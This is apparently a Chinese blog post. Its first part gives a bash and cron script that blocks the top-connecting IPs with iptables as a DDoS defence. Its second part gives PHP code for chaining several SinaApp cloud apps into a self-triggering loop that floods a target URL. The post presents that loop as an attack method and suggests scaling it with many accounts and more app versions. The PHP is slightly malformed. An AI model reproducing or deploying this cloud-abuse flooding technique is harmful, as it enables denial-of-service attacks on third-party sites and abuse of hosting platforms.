DDOS防御脚本

1.编写脚本

mkdir /root/bin

vi /root/bin/dropip.sh

#!/bin/bash

/bin/netstat -na|grep ESTABLISHED|awk ‘{print $5}’|awk -F: ‘{print $1}’|sort|uniq -c|sort -rn|head -10|grep -v -E ’192.168|127.0′|awk ‘{if ($2!=null && $1>4) {print $2}}’>/tmp/dropip

for i in $(cat /tmp/dropip)

do

/sbin/iptables -A INPUT -s $i -j DROP

echo “$i kill at `date`”>>/var/log/ddos

done

2.增加执行权限

chmod +x /root/bin/dropip.sh

3.添加到计划任务,每分钟执行一次

crontab -e

*/1 * * * * /root/bin/dropip.sh

说明:

最重要的是第二行,获取ESTABLISHED连接数最多的前10个ip并写入临时文件/tmp/dropip,排除了内部ip段192.168|127.0开头的.通过for循环将dropip里面的ip通过iptables全部drop掉,然后写到日志文件/var/log/ddos

还一种方法就是利用php写ddos攻击,利用其它云平台来操作

主要使用sinaapp作为测试对象。

测试思路:创建4个版本的app.

版本1 主页代码如下:

  <php

  file_get_contents('http://2.mars.sinaapp.com/');//版本1触发攻击(访问版本2)

  >

版本2 主页代码:

  <php

  file_get_contents('http://www.xxx.com/ip.php')://攻击目标

  file_get_contents('http://3.mars.sinaapp.com/');//访问版本3

  >

版本3 主页代码:

  <php

  for ($i=1; $<=10; $i++){//这里邪恶了一下,多来几次效果更佳

  file_get_contents('http://www.xxx.com/ip.php');

  file_get_contents('http://4.mars.sinaapp.com/'); }

  >

版本4 主页代码:

  <php

  file_get_contents('http://2.mars.sinaapp.com/');//访问版本2,导致死循环

  >

以上是使用一个sinaapp用户进行攻击的步骤,可以自己扩展,注册大量用户及创建更多的版本进行攻击。但在测试过程中发现,每个APP实际上有两个IP出口。使用多个用户效果会更好。

以上是云栖社区小编为您精心准备的的内容,在云栖社区的博客、问答、公众号、人物、课程等栏目也有的相关内容,欢迎继续使用右上角搜索按钮进行搜索权限 , 服务器 , 文件 , 测试 , 代码 云平台 服务器防御ddos、ddos防御脚本、windows ddos防御脚本、ddos防御一建脚本、ddos 攻击防御,以便于您获取更多的相关知识。

相关文章

相关标签/搜索